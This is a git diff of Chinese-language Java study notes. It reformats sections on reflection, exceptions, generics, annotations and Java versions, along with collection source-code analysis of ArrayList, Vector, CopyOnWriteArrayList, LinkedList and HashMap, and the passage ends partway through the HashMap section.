-*   **性能开销** ：反射涉及了动态类型的解析，所以 JVM 无法对这些代码进行优化。因此，反射操作的效率要比那些非反射操作低得多。我们应该避免在经常被执行的代码或对性能要求很高的程序中使用反射。
+*    **性能开销**  ：反射涉及了动态类型的解析，所以 JVM 无法对这些代码进行优化。因此，反射操作的效率要比那些非反射操作低得多。我们应该避免在经常被执行的代码或对性能要求很高的程序中使用反射。
 
-*   **安全限制** ：使用反射技术要求程序必须在一个没有安全限制的环境中运行。如果一个程序必须在有安全限制的环境中运行，如 Applet，那么这就是个问题了。
+*    **安全限制**  ：使用反射技术要求程序必须在一个没有安全限制的环境中运行。如果一个程序必须在有安全限制的环境中运行，如 Applet，那么这就是个问题了。
 
-*   **内部暴露** ：由于反射允许代码执行一些在正常情况下不被允许的操作（比如访问私有的属性和方法），所以使用反射可能会导致意料之外的副作用，这可能导致代码功能失调并破坏可移植性。反射代码破坏了抽象性，因此当平台发生改变的时候，代码的行为就有可能也随着变化。
+*    **内部暴露**  ：由于反射允许代码执行一些在正常情况下不被允许的操作（比如访问私有的属性和方法），所以使用反射可能会导致意料之外的副作用，这可能导致代码功能失调并破坏可移植性。反射代码破坏了抽象性，因此当平台发生改变的时候，代码的行为就有可能也随着变化。
 
 
-- [Trail: The Reflection API](https://docs.oracle.com/javase/tutorial/reflect/index.html)
-- [深入解析 Java 反射（1）- 基础](http://www.sczyh30.com/posts/Java/java-reflection-1/)
+- [Trail: The Reflection API](https://docs.oracle.com/javase/tutorial/reflect/index.html)
+- [深入解析 Java 反射（1）- 基础](http://www.sczyh30.com/posts/Java/java-reflection-1/)
 
-# 八、异常
+# 八、异常
 
-Throwable 可以用来表示任何可以作为异常抛出的类，分为两种：**Error** 和 **Exception**。其中 Error 用来表示 JVM 无法处理的错误，Exception 分为两种：
+Throwable 可以用来表示任何可以作为异常抛出的类，分为两种： **Error**  和 **Exception**。其中 Error 用来表示 JVM 无法处理的错误，Exception 分为两种：
 
-- **受检异常**：需要用 try...catch... 语句捕获并进行处理，并且可以从异常中恢复；
-- **非受检异常**：是程序运行时错误，例如除 0 会引发 Arithmetic Exception，此时程序崩溃并且无法恢复。
+-  **受检异常** ：需要用 try...catch... 语句捕获并进行处理，并且可以从异常中恢复；
+-  **非受检异常** ：是程序运行时错误，例如除 0 会引发 Arithmetic Exception，此时程序崩溃并且无法恢复。
 
-<img src="index_files/PPjwP.png" width="600"/>
+<div align="center"> <img src="pics/PPjwP.png" width="600"/> </div><br>
 
-- [Java 入门之异常处理](https://www.tianmaying.com/tutorial/Java-Exception)
-- [Java 异常的面试问题及答案 -Part 1](http://www.importnew.com/7383.html)
+- [Java 入门之异常处理](https://www.tianmaying.com/tutorial/Java-Exception)
+- [Java 异常的面试问题及答案 -Part 1](http://www.importnew.com/7383.html)
 
-# 九、泛型
+# 九、泛型
 
 ```java
-public class Box<T> {
-    // T stands for "Type"
-    private T t;
-    public void set(T t) { this.t = t; }
-    public T get() { return t; }
+public class Box<T> {
+    // T stands for "Type"
+    private T t;
+    public void set(T t) { this.t = t; }
+    public T get() { return t; }
 }
 ```
 
-- [Java 泛型详解](http://www.importnew.com/24029.html)
-- [10 道 Java 泛型面试题](https://cloud.tencent.com/developer/article/1033693)
+- [Java 泛型详解](http://www.importnew.com/24029.html)
+- [10 道 Java 泛型面试题](https://cloud.tencent.com/developer/article/1033693)
 
-# 十、注解
+# 十、注解
 
-Java 注解是附加在代码中的一些元信息，用于一些工具在编译、运行时进行解析和使用，起到说明、配置的功能。注解不会也不能影响代码的实际逻辑，仅仅起到辅助性的作用。
+Java 注解是附加在代码中的一些元信息，用于一些工具在编译、运行时进行解析和使用，起到说明、配置的功能。注解不会也不能影响代码的实际逻辑，仅仅起到辅助性的作用。
 
-[注解 Annotation 实现原理与自定义注解例子](https://www.cnblogs.com/acm-bingzi/p/javaAnnotation.html)
+[注解 Annotation 实现原理与自定义注解例子](https://www.cnblogs.com/acm-bingzi/p/javaAnnotation.html)
 
-# 十一、特性
+# 十一、特性
 
-## Java 各版本的新特性
+## Java 各版本的新特性
 
-**New highlights in Java SE 8**
+**New highlights in Java SE 8** 
 
-1. Lambda Expressions
-2. Pipelines and Streams
-3. Date and Time API
-4. Default Methods
-5. Type Annotations
-6. Nashhorn JavaScript Engine
-7. Concurrent Accumulators
-8. Parallel operations
-9. PermGen Error Removed
+1. Lambda Expressions
+2. Pipelines and Streams
+3. Date and Time API
+4. Default Methods
+5. Type Annotations
+6. Nashhorn JavaScript Engine
+7. Concurrent Accumulators
+8. Parallel operations
+9. PermGen Error Removed
 
-**New highlights in Java SE 7**
+**New highlights in Java SE 7** 
 
-1. Strings in Switch Statement
-2. Type Inference for Generic Instance Creation
-3. Multiple Exception Handling
-4. Support for Dynamic Languages
-5. Try with Resources
-6. Java nio Package
-7. Binary Literals, Underscore in literals
-8. Diamond Syntax
+1. Strings in Switch Statement
+2. Type Inference for Generic Instance Creation
+3. Multiple Exception Handling
+4. Support for Dynamic Languages
+5. Try with Resources
+6. Java nio Package
+7. Binary Literals, Underscore in literals
+8. Diamond Syntax
 
-- [Difference between Java 1.8 and Java 1.7?](http://www.selfgrowth.com/articles/difference-between-java-18-and-java-17)
-- [Java 8 特性](http://www.importnew.com/19345.html)
+- [Difference between Java 1.8 and Java 1.7?](http://www.selfgrowth.com/articles/difference-between-java-18-and-java-17)
+- [Java 8 特性](http://www.importnew.com/19345.html)
 
-## Java 与 C++ 的区别
+## Java 与 C++ 的区别
 
-- Java 是纯粹的面向对象语言，所有的对象都继承自 java.lang.Object，C++ 为了兼容 C 即支持面向对象也支持面向过程。
-- Java 通过虚拟机从而实现跨平台特性，但是 C++ 依赖于特定的平台。
-- Java 没有指针，它的引用可以理解为安全指针，而 C++ 具有和 C 一样的指针。
-- Java 支持自动垃圾回收，而 C++ 需要手动回收。
-- Java 不支持多重继承，只能通过实现多个接口来达到相同目的，而 C++ 支持多重继承。
-- Java 不支持操作符重载，虽然可以对两个 String 对象执行加法运算，但是这是语言内置支持的操作，不属于操作符重载，而 C++ 可以。
-- Java 的 goto 是保留字，但是不可用，C++ 可以使用 goto。
-- Java 不支持条件编译，C++ 通过 #ifdef #ifndef 等预处理命令从而实现条件编译。
+- Java 是纯粹的面向对象语言，所有的对象都继承自 java.lang.Object，C++ 为了兼容 C 即支持面向对象也支持面向过程。
+- Java 通过虚拟机从而实现跨平台特性，但是 C++ 依赖于特定的平台。
+- Java 没有指针，它的引用可以理解为安全指针，而 C++ 具有和 C 一样的指针。
+- Java 支持自动垃圾回收，而 C++ 需要手动回收。
+- Java 不支持多重继承，只能通过实现多个接口来达到相同目的，而 C++ 支持多重继承。
+- Java 不支持操作符重载，虽然可以对两个 String 对象执行加法运算，但是这是语言内置支持的操作，不属于操作符重载，而 C++ 可以。
+- Java 的 goto 是保留字，但是不可用，C++ 可以使用 goto。
+- Java 不支持条件编译，C++ 通过 #ifdef #ifndef 等预处理命令从而实现条件编译。
 
-[What are the main differences between Java and C++?](http://cs-fundamentals.com/tech-interview/java/differences-between-java-and-cpp.php)
+[What are the main differences between Java and C++?](http://cs-fundamentals.com/tech-interview/java/differences-between-java-and-cpp.php)
 
-## JRE or JDK
+## JRE or JDK
 
-- JRE is the JVM program, Java application need to run on JRE.
-- JDK is a superset of JRE, JRE + tools for developing java programs. e.g, it provides the compiler "javac"
+- JRE is the JVM program, Java application need to run on JRE.
+- JDK is a superset of JRE, JRE + tools for developing java programs. e.g, it provides the compiler "javac"
 
-# 参考资料
+# 参考资料
 
-- Eckel B. Java 编程思想[M]. 机械工业出版社, 2002.
-- Bloch J. Effective java[M]. Addison-Wesley Professional, 2017.
----bottom---CyC---
-![](index_files/f76067a5-7d5f-4135-9549-8199c77d8f1c.jpg)
-![](index_files/PPjwP.png)
+- Eckel B. Java 编程思想[M]. 机械工业出版社, 2002.
+- Bloch J. Effective java[M]. Addison-Wesley Professional, 2017.
diff --git a/docs/notes/Java 容器.md b/docs/notes/Java 容器.md
index b64d7987..04902d87 100644
--- a/docs/notes/Java 容器.md	
+++ b/docs/notes/Java 容器.md	
@@ -1,304 +1,326 @@
-# 一、概览
-
-容器主要包括 Collection 和 Map 两种，Collection 存储着对象的集合，而 Map 存储着键值对（两个对象）的映射表。
-
-## Collection
-
-![](index_files/VP6n3i8W48Ptde8NQ9_0eSR5eOD6uqx.png)
-
-### 1. Set
-
-- TreeSet：基于红黑树实现，支持有序性操作，例如根据一个范围查找元素的操作。但是查找效率不如 HashSet，HashSet 查找的时间复杂度为 O(1)，TreeSet 则为 O(logN)。
-
-- HashSet：基于哈希表实现，支持快速查找，但不支持有序性操作。并且失去了元素的插入顺序信息，也就是说使用 Iterator 遍历 HashSet 得到的结果是不确定的。
-
-- LinkedHashSet：具有 HashSet 的查找效率，且内部使用双向链表维护元素的插入顺序。
-
-### 2. List
-
-- ArrayList：基于动态数组实现，支持随机访问。
-
-- Vector：和 ArrayList 类似，但它是线程安全的。
-
-- LinkedList：基于双向链表实现，只能顺序访问，但是可以快速地在链表中间插入和删除元素。不仅如此，LinkedList 还可以用作栈、队列和双向队列。
-
-### 3. Queue
-
-- LinkedList：可以用它来实现双向队列。
-
-- PriorityQueue：基于堆结构实现，可以用它来实现优先队列。
-
-## Map
-
-![](index_files/SoWkIImgAStDuUBAp2j9BKfBJ4vLy4q.png)
-
-- TreeMap：基于红黑树实现。
-
-- HashMap：基于哈希表实现。
-
-- HashTable：和 HashMap 类似，但它是线程安全的，这意味着同一时刻多个线程可以同时写入 HashTable 并且不会导致数据不一致。它是遗留类，不应该去使用它。现在可以使用 ConcurrentHashMap 来支持线程安全，并且 ConcurrentHashMap 的效率会更高，因为 ConcurrentHashMap 引入了分段锁。
-
-- LinkedHashMap：使用双向链表来维护元素的顺序，顺序为插入顺序或者最近最少使用（LRU）顺序。
+[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
+<!-- GFM-TOC -->
+* [一、概览](#一概览)
+    * [Collection](#collection)
+    * [Map](#map)
+* [二、容器中的设计模式](#二容器中的设计模式)
+    * [迭代器模式](#迭代器模式)
+    * [适配器模式](#适配器模式)
+* [三、源码分析](#三源码分析)
+    * [ArrayList](#arraylist)
+    * [Vector](#vector)
+    * [CopyOnWriteArrayList](#copyonwritearraylist)
+    * [LinkedList](#linkedlist)
+    * [HashMap](#hashmap)
+    * [ConcurrentHashMap](#concurrenthashmap)
+    * [LinkedHashMap](#linkedhashmap)
+    * [WeakHashMap](#weakhashmap)
+* [附录](#附录)
+* [参考资料](#参考资料)
+<!-- GFM-TOC -->
 
 
-# 二、容器中的设计模式
+# 一、概览
 
-## 迭代器模式
+容器主要包括 Collection 和 Map 两种，Collection 存储着对象的集合，而 Map 存储着键值对（两个对象）的映射表。
 
-![](index_files/SoWkIImgAStDuUBAp2j9BKfBJ4vLy0G.png)
+## Collection
 
-Collection 继承了 Iterable 接口，其中的 iterator() 方法能够产生一个 Iterator 对象，通过这个对象就可以迭代遍历 Collection 中的元素。
+<div align="center"> <img src="pics/VP6n3i8W48Ptde8NQ9_0eSR5eOD6uqx.png"/> </div><br>
 
-从 JDK 1.5 之后可以使用 foreach 方法来遍历实现了 Iterable 接口的聚合对象。
+### 1. Set
+
+- TreeSet：基于红黑树实现，支持有序性操作，例如根据一个范围查找元素的操作。但是查找效率不如 HashSet，HashSet 查找的时间复杂度为 O(1)，TreeSet 则为 O(logN)。
+
+- HashSet：基于哈希表实现，支持快速查找，但不支持有序性操作。并且失去了元素的插入顺序信息，也就是说使用 Iterator 遍历 HashSet 得到的结果是不确定的。
+
+- LinkedHashSet：具有 HashSet 的查找效率，且内部使用双向链表维护元素的插入顺序。
+
+### 2. List
+
+- ArrayList：基于动态数组实现，支持随机访问。
+
+- Vector：和 ArrayList 类似，但它是线程安全的。
+
+- LinkedList：基于双向链表实现，只能顺序访问，但是可以快速地在链表中间插入和删除元素。不仅如此，LinkedList 还可以用作栈、队列和双向队列。
+
+### 3. Queue
+
+- LinkedList：可以用它来实现双向队列。
+
+- PriorityQueue：基于堆结构实现，可以用它来实现优先队列。
+
+## Map
+
+<div align="center"> <img src="pics/SoWkIImgAStDuUBAp2j9BKfBJ4vLy4q.png"/> </div><br>
+
+- TreeMap：基于红黑树实现。
+
+- HashMap：基于哈希表实现。
+
+- HashTable：和 HashMap 类似，但它是线程安全的，这意味着同一时刻多个线程可以同时写入 HashTable 并且不会导致数据不一致。它是遗留类，不应该去使用它。现在可以使用 ConcurrentHashMap 来支持线程安全，并且 ConcurrentHashMap 的效率会更高，因为 ConcurrentHashMap 引入了分段锁。
+
+- LinkedHashMap：使用双向链表来维护元素的顺序，顺序为插入顺序或者最近最少使用（LRU）顺序。
+
+
+# 二、容器中的设计模式
+
+## 迭代器模式
+
+<div align="center"> <img src="pics/SoWkIImgAStDuUBAp2j9BKfBJ4vLy0G.png"/> </div><br>
+
+Collection 继承了 Iterable 接口，其中的 iterator() 方法能够产生一个 Iterator 对象，通过这个对象就可以迭代遍历 Collection 中的元素。
+
+从 JDK 1.5 之后可以使用 foreach 方法来遍历实现了 Iterable 接口的聚合对象。
 
 ```java
-List<String> list = new ArrayList<>();
+List<String> list = new ArrayList<>();
 list.add("a");
 list.add("b");
-for (String item : list) {
-    System.out.println(item);
+for (String item : list) {
+    System.out.println(item);
 }
 ```
 
-## 适配器模式
+## 适配器模式
 
-java.util.Arrays#asList() 可以把数组类型转换为 List 类型。
+java.util.Arrays#asList() 可以把数组类型转换为 List 类型。
 
 ```java
 @SafeVarargs
-public static <T> List<T> asList(T... a)
+public static <T> List<T> asList(T... a)
 ```
 
-应该注意的是 asList() 的参数为泛型的变长参数，不能使用基本类型数组作为参数，只能使用相应的包装类型数组。
+应该注意的是 asList() 的参数为泛型的变长参数，不能使用基本类型数组作为参数，只能使用相应的包装类型数组。
 
 ```java
-Integer[] arr = {1, 2, 3};
-List list = Arrays.asList(arr);
+Integer[] arr = {1, 2, 3};
+List list = Arrays.asList(arr);
 ```
 
-也可以使用以下方式调用 asList()：
+也可以使用以下方式调用 asList()：
 
 ```java
-List list = Arrays.asList(1, 2, 3);
+List list = Arrays.asList(1, 2, 3);
 ```
 
-# 三、源码分析
+# 三、源码分析
 
-如果没有特别说明，以下源码分析基于 JDK 1.8。
+如果没有特别说明，以下源码分析基于 JDK 1.8。
 
-在 IDEA 中 double shift 调出 Search EveryWhere，查找源码文件，找到之后就可以阅读源码。
+在 IDEA 中 double shift 调出 Search EveryWhere，查找源码文件，找到之后就可以阅读源码。
 
-## ArrayList
+## ArrayList
 
-### 1. 概览
+### 1. 概览
 
-实现了 RandomAccess 接口，因此支持随机访问。这是理所当然的，因为 ArrayList 是基于数组实现的。
+实现了 RandomAccess 接口，因此支持随机访问。这是理所当然的，因为 ArrayList 是基于数组实现的。
 
 ```java
-public class ArrayList<E> extends AbstractList<E>
-        implements List<E>, RandomAccess, Cloneable, java.io.Serializable
+public class ArrayList<E> extends AbstractList<E>
+        implements List<E>, RandomAccess, Cloneable, java.io.Serializable
 ```
 
-数组的默认大小为 10。
+数组的默认大小为 10。
 
 ```java
-private static final int DEFAULT_CAPACITY = 10;
+private static final int DEFAULT_CAPACITY = 10;
 ```
 
-### 2. 扩容
+### 2. 扩容
 
-添加元素时使用 ensureCapacityInternal() 方法来保证容量足够，如果不够时，需要使用 grow() 方法进行扩容，新容量的大小为 `oldCapacity + (oldCapacity >> 1)`，也就是旧容量的 1.5 倍。
+添加元素时使用 ensureCapacityInternal() 方法来保证容量足够，如果不够时，需要使用 grow() 方法进行扩容，新容量的大小为 `oldCapacity + (oldCapacity >> 1)`，也就是旧容量的 1.5 倍。
 
-扩容操作需要调用 `Arrays.copyOf()` 把原数组整个复制到新数组中，这个操作代价很高，因此最好在创建 ArrayList 对象时就指定大概的容量大小，减少扩容操作的次数。
+扩容操作需要调用 `Arrays.copyOf()` 把原数组整个复制到新数组中，这个操作代价很高，因此最好在创建 ArrayList 对象时就指定大概的容量大小，减少扩容操作的次数。
 
 ```java
-public boolean add(E e) {
-    ensureCapacityInternal(size + 1);  // Increments modCount!!
-    elementData[size++] = e;
-    return true;
+public boolean add(E e) {
+    ensureCapacityInternal(size + 1);  // Increments modCount!!
+    elementData[size++] = e;
+    return true;
 }
 
-private void ensureCapacityInternal(int minCapacity) {
-    if (elementData == DEFAULTCAPACITY_EMPTY_ELEMENTDATA) {
-        minCapacity = Math.max(DEFAULT_CAPACITY, minCapacity);
-    }
-    ensureExplicitCapacity(minCapacity);
+private void ensureCapacityInternal(int minCapacity) {
+    if (elementData == DEFAULTCAPACITY_EMPTY_ELEMENTDATA) {
+        minCapacity = Math.max(DEFAULT_CAPACITY, minCapacity);
+    }
+    ensureExplicitCapacity(minCapacity);
 }
 
-private void ensureExplicitCapacity(int minCapacity) {
-    modCount++;
-    // overflow-conscious code
-    if (minCapacity - elementData.length > 0)
-        grow(minCapacity);
+private void ensureExplicitCapacity(int minCapacity) {
+    modCount++;
+    // overflow-conscious code
+    if (minCapacity - elementData.length > 0)
+        grow(minCapacity);
 }
 
-private void grow(int minCapacity) {
-    // overflow-conscious code
-    int oldCapacity = elementData.length;
-    int newCapacity = oldCapacity + (oldCapacity >> 1);
-    if (newCapacity - minCapacity < 0)
-        newCapacity = minCapacity;
-    if (newCapacity - MAX_ARRAY_SIZE > 0)
-        newCapacity = hugeCapacity(minCapacity);
-    // minCapacity is usually close to size, so this is a win:
-    elementData = Arrays.copyOf(elementData, newCapacity);
+private void grow(int minCapacity) {
+    // overflow-conscious code
+    int oldCapacity = elementData.length;
+    int newCapacity = oldCapacity + (oldCapacity >> 1);
+    if (newCapacity - minCapacity < 0)
+        newCapacity = minCapacity;
+    if (newCapacity - MAX_ARRAY_SIZE > 0)
+        newCapacity = hugeCapacity(minCapacity);
+    // minCapacity is usually close to size, so this is a win:
+    elementData = Arrays.copyOf(elementData, newCapacity);
 }
 ```
 
-### 3. 删除元素
+### 3. 删除元素
 
-需要调用 System.arraycopy() 将 index+1 后面的元素都复制到 index 位置上，该操作的时间复杂度为 O(N)，可以看出 ArrayList 删除元素的代价是非常高的。
+需要调用 System.arraycopy() 将 index+1 后面的元素都复制到 index 位置上，该操作的时间复杂度为 O(N)，可以看出 ArrayList 删除元素的代价是非常高的。
 
 ```java
-public E remove(int index) {
-    rangeCheck(index);
-    modCount++;
-    E oldValue = elementData(index);
-    int numMoved = size - index - 1;
-    if (numMoved > 0)
-        System.arraycopy(elementData, index+1, elementData, index, numMoved);
-    elementData[--size] = null; // clear to let GC do its work
-    return oldValue;
+public E remove(int index) {
+    rangeCheck(index);
+    modCount++;
+    E oldValue = elementData(index);
+    int numMoved = size - index - 1;
+    if (numMoved > 0)
+        System.arraycopy(elementData, index+1, elementData, index, numMoved);
+    elementData[--size] = null; // clear to let GC do its work
+    return oldValue;
 }
 ```
 
-### 4. Fail-Fast
+### 4. Fail-Fast
 
-modCount 用来记录 ArrayList 结构发生变化的次数。结构发生变化是指添加或者删除至少一个元素的所有操作，或者是调整内部数组的大小，仅仅只是设置元素的值不算结构发生变化。
+modCount 用来记录 ArrayList 结构发生变化的次数。结构发生变化是指添加或者删除至少一个元素的所有操作，或者是调整内部数组的大小，仅仅只是设置元素的值不算结构发生变化。
 
-在进行序列化或者迭代等操作时，需要比较操作前后 modCount 是否改变，如果改变了需要抛出 ConcurrentModificationException。
+在进行序列化或者迭代等操作时，需要比较操作前后 modCount 是否改变，如果改变了需要抛出 ConcurrentModificationException。
 
 ```java
-private void writeObject(java.io.ObjectOutputStream s)
-    throws java.io.IOException{
-    // Write out element count, and any hidden stuff
-    int expectedModCount = modCount;
-    s.defaultWriteObject();
+private void writeObject(java.io.ObjectOutputStream s)
+    throws java.io.IOException{
+    // Write out element count, and any hidden stuff
+    int expectedModCount = modCount;
+    s.defaultWriteObject();
 
-    // Write out size as capacity for behavioural compatibility with clone()
-    s.writeInt(size);
+    // Write out size as capacity for behavioural compatibility with clone()
+    s.writeInt(size);
 
-    // Write out all elements in the proper order.
-    for (int i=0; i<size; i++) {
-        s.writeObject(elementData[i]);
-    }
+    // Write out all elements in the proper order.
+    for (int i=0; i<size; i++) {
+        s.writeObject(elementData[i]);
+    }
 
-    if (modCount != expectedModCount) {
-        throw new ConcurrentModificationException();
-    }
+    if (modCount != expectedModCount) {
+        throw new ConcurrentModificationException();
+    }
 }
 ```
 
-### 5. 序列化
+### 5. 序列化
 
-ArrayList 基于数组实现，并且具有动态扩容特性，因此保存元素的数组不一定都会被使用，那么就没必要全部进行序列化。
+ArrayList 基于数组实现，并且具有动态扩容特性，因此保存元素的数组不一定都会被使用，那么就没必要全部进行序列化。
 
-保存元素的数组 elementData 使用 transient 修饰，该关键字声明数组默认不会被序列化。
+保存元素的数组 elementData 使用 transient 修饰，该关键字声明数组默认不会被序列化。
 
 ```java
-transient Object[] elementData; // non-private to simplify nested class access
+transient Object[] elementData; // non-private to simplify nested class access
 ```
 
-ArrayList 实现了 writeObject() 和 readObject() 来控制只序列化数组中有元素填充那部分内容。
+ArrayList 实现了 writeObject() 和 readObject() 来控制只序列化数组中有元素填充那部分内容。
 
 ```java
-private void readObject(java.io.ObjectInputStream s)
-    throws java.io.IOException, ClassNotFoundException {
-    elementData = EMPTY_ELEMENTDATA;
+private void readObject(java.io.ObjectInputStream s)
+    throws java.io.IOException, ClassNotFoundException {
+    elementData = EMPTY_ELEMENTDATA;
 
-    // Read in size, and any hidden stuff
-    s.defaultReadObject();
+    // Read in size, and any hidden stuff
+    s.defaultReadObject();
 
-    // Read in capacity
-    s.readInt(); // ignored
+    // Read in capacity
+    s.readInt(); // ignored
 
-    if (size > 0) {
-        // be like clone(), allocate array based upon size not capacity
-        ensureCapacityInternal(size);
+    if (size > 0) {
+        // be like clone(), allocate array based upon size not capacity
+        ensureCapacityInternal(size);
 
-        Object[] a = elementData;
-        // Read in all elements in the proper order.
-        for (int i=0; i<size; i++) {
-            a[i] = s.readObject();
-        }
-    }
+        Object[] a = elementData;
+        // Read in all elements in the proper order.
+        for (int i=0; i<size; i++) {
+            a[i] = s.readObject();
+        }
+    }
 }
 ```
 
 ```java
-private void writeObject(java.io.ObjectOutputStream s)
-    throws java.io.IOException{
-    // Write out element count, and any hidden stuff
-    int expectedModCount = modCount;
-    s.defaultWriteObject();
+private void writeObject(java.io.ObjectOutputStream s)
+    throws java.io.IOException{
+    // Write out element count, and any hidden stuff
+    int expectedModCount = modCount;
+    s.defaultWriteObject();
 
-    // Write out size as capacity for behavioural compatibility with clone()
-    s.writeInt(size);
+    // Write out size as capacity for behavioural compatibility with clone()
+    s.writeInt(size);
 
-    // Write out all elements in the proper order.
-    for (int i=0; i<size; i++) {
-        s.writeObject(elementData[i]);
-    }
+    // Write out all elements in the proper order.
+    for (int i=0; i<size; i++) {
+        s.writeObject(elementData[i]);
+    }
 
-    if (modCount != expectedModCount) {
-        throw new ConcurrentModificationException();
-    }
+    if (modCount != expectedModCount) {
+        throw new ConcurrentModificationException();
+    }
 }
 ```
 
-序列化时需要使用 ObjectOutputStream 的 writeObject() 将对象转换为字节流并输出。而 writeObject() 方法在传入的对象存在 writeObject() 的时候会去反射调用该对象的 writeObject() 来实现序列化。反序列化使用的是 ObjectInputStream 的 readObject() 方法，原理类似。
+序列化时需要使用 ObjectOutputStream 的 writeObject() 将对象转换为字节流并输出。而 writeObject() 方法在传入的对象存在 writeObject() 的时候会去反射调用该对象的 writeObject() 来实现序列化。反序列化使用的是 ObjectInputStream 的 readObject() 方法，原理类似。
 
 ```java
-ArrayList list = new ArrayList();
-ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(file));
+ArrayList list = new ArrayList();
+ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(file));
 oos.writeObject(list);
 ```
 
-## Vector
+## Vector
 
-### 1. 同步
+### 1. 同步
 
-它的实现与 ArrayList 类似，但是使用了 synchronized 进行同步。
+它的实现与 ArrayList 类似，但是使用了 synchronized 进行同步。
 
 ```java
-public synchronized boolean add(E e) {
-    modCount++;
-    ensureCapacityHelper(elementCount + 1);
-    elementData[elementCount++] = e;
-    return true;
+public synchronized boolean add(E e) {
+    modCount++;
+    ensureCapacityHelper(elementCount + 1);
+    elementData[elementCount++] = e;
+    return true;
 }
 
-public synchronized E get(int index) {
-    if (index >= elementCount)
-        throw new ArrayIndexOutOfBoundsException(index);
+public synchronized E get(int index) {
+    if (index >= elementCount)
+        throw new ArrayIndexOutOfBoundsException(index);
 
-    return elementData(index);
+    return elementData(index);
 }
 ```
 
-### 2. 与 ArrayList 的比较
+### 2. 与 ArrayList 的比较
 
-- Vector 是同步的，因此开销就比 ArrayList 要大，访问速度更慢。最好使用 ArrayList 而不是 Vector，因为同步操作完全可以由程序员自己来控制；
-- Vector 每次扩容请求其大小的 2 倍空间，而 ArrayList 是 1.5 倍。
+- Vector 是同步的，因此开销就比 ArrayList 要大，访问速度更慢。最好使用 ArrayList 而不是 Vector，因为同步操作完全可以由程序员自己来控制；
+- Vector 每次扩容请求其大小的 2 倍空间，而 ArrayList 是 1.5 倍。
 
-### 3. 替代方案
+### 3. 替代方案
 
-可以使用 `Collections.synchronizedList();` 得到一个线程安全的 ArrayList。
+可以使用 `Collections.synchronizedList();` 得到一个线程安全的 ArrayList。
 
 ```java
-List<String> list = new ArrayList<>();
-List<String> synList = Collections.synchronizedList(list);
+List<String> list = new ArrayList<>();
+List<String> synList = Collections.synchronizedList(list);
 ```
 
-也可以使用 concurrent 并发包下的 CopyOnWriteArrayList 类。
+也可以使用 concurrent 并发包下的 CopyOnWriteArrayList 类。
 
 ```java
-List<String> list = new CopyOnWriteArrayList<>();
+List<String> list = new CopyOnWriteArrayList<>();
 ```
 
-## CopyOnWriteArrayList
+## CopyOnWriteArrayList
 
-### 读写分离
+### 读写分离
 
 写操作在一个复制的数组上进行，读操作还是在原始数组中进行，读写分离，互不影响。
 
@@ -307,827 +329,827 @@ List<String> list = new CopyOnWriteArrayList<>();
 写操作结束之后需要把原始数组指向新的复制数组。
 
 ```java
-public boolean add(E e) {
-    final ReentrantLock lock = this.lock;
-    lock.lock();
-    try {
-        Object[] elements = getArray();
-        int len = elements.length;
-        Object[] newElements = Arrays.copyOf(elements, len + 1);
-        newElements[len] = e;
-        setArray(newElements);
-        return true;
-    } finally {
-        lock.unlock();
-    }
+public boolean add(E e) {
+    final ReentrantLock lock = this.lock;
+    lock.lock();
+    try {
+        Object[] elements = getArray();
+        int len = elements.length;
+        Object[] newElements = Arrays.copyOf(elements, len + 1);
+        newElements[len] = e;
+        setArray(newElements);
+        return true;
+    } finally {
+        lock.unlock();
+    }
 }
 
-final void setArray(Object[] a) {
-    array = a;
+final void setArray(Object[] a) {
+    array = a;
 }
 ```
 
 ```java
 @SuppressWarnings("unchecked")
-private E get(Object[] a, int index) {
-    return (E) a[index];
+private E get(Object[] a, int index) {
+    return (E) a[index];
 }
 ```
 
-### 适用场景
+### 适用场景
 
-CopyOnWriteArrayList 在写操作的同时允许读操作，大大提高了读操作的性能，因此很适合读多写少的应用场景。
+CopyOnWriteArrayList 在写操作的同时允许读操作，大大提高了读操作的性能，因此很适合读多写少的应用场景。
 
-但是 CopyOnWriteArrayList 有其缺陷：
+但是 CopyOnWriteArrayList 有其缺陷：
 
-- 内存占用：在写操作时需要复制一个新的数组，使得内存占用为原来的两倍左右；
-- 数据不一致：读操作不能读取实时性的数据，因为部分写操作的数据还未同步到读数组中。
+- 内存占用：在写操作时需要复制一个新的数组，使得内存占用为原来的两倍左右；
+- 数据不一致：读操作不能读取实时性的数据，因为部分写操作的数据还未同步到读数组中。
 
-所以 CopyOnWriteArrayList 不适合内存敏感以及对实时性要求很高的场景。
+所以 CopyOnWriteArrayList 不适合内存敏感以及对实时性要求很高的场景。
 
-## LinkedList
+## LinkedList
 
-### 1. 概览
+### 1. 概览
 
-基于双向链表实现，使用 Node 存储链表节点信息。
+基于双向链表实现，使用 Node 存储链表节点信息。
 
 ```java
-private static class Node<E> {
-    E item;
-    Node<E> next;
-    Node<E> prev;
+private static class Node<E> {
+    E item;
+    Node<E> next;
+    Node<E> prev;
 }
 ```
 
-每个链表存储了 first 和 last 指针：
+每个链表存储了 first 和 last 指针：
 
 ```java
-transient Node<E> first;
-transient Node<E> last;
+transient Node<E> first;
+transient Node<E> last;
 ```
 
-<img src="index_files/49495c95-52e5-4c9a-b27b-92cf235ff5ec.png" width="500"/>
+<div align="center"> <img src="pics/49495c95-52e5-4c9a-b27b-92cf235ff5ec.png" width="500"/> </div><br>
 
-### 2. 与 ArrayList 的比较
+### 2. 与 ArrayList 的比较
 
-- ArrayList 基于动态数组实现，LinkedList 基于双向链表实现；
-- ArrayList 支持随机访问，LinkedList 不支持；
-- LinkedList 在任意位置添加删除元素更快。
+- ArrayList 基于动态数组实现，LinkedList 基于双向链表实现；
+- ArrayList 支持随机访问，LinkedList 不支持；
+- LinkedList 在任意位置添加删除元素更快。
 
-## HashMap
+## HashMap
 
-为了便于理解，以下源码分析以 JDK 1.7 为主。
+为了便于理解，以下源码分析以 JDK 1.7 为主。
 
-### 1. 存储结构
+### 1. 存储结构
 
-内部包含了一个 Entry 类型的数组 table。
+内部包含了一个 Entry 类型的数组 table。
 
 ```java
-transient Entry[] table;
+transient Entry[] table;
 ```
 
-Entry 存储着键值对。它包含了四个字段，从 next 字段我们可以看出 Entry 是一个链表。即数组中的每个位置被当成一个桶，一个桶存放一个链表。HashMap 使用拉链法来解决冲突，同一个链表中存放哈希值相同的 Entry。
+Entry 存储着键值对。它包含了四个字段，从 next 字段我们可以看出 Entry 是一个链表。即数组中的每个位置被当成一个桶，一个桶存放一个链表。HashMap 使用拉链法来解决冲突，同一个链表中存放哈希值相同的 Entry。
 
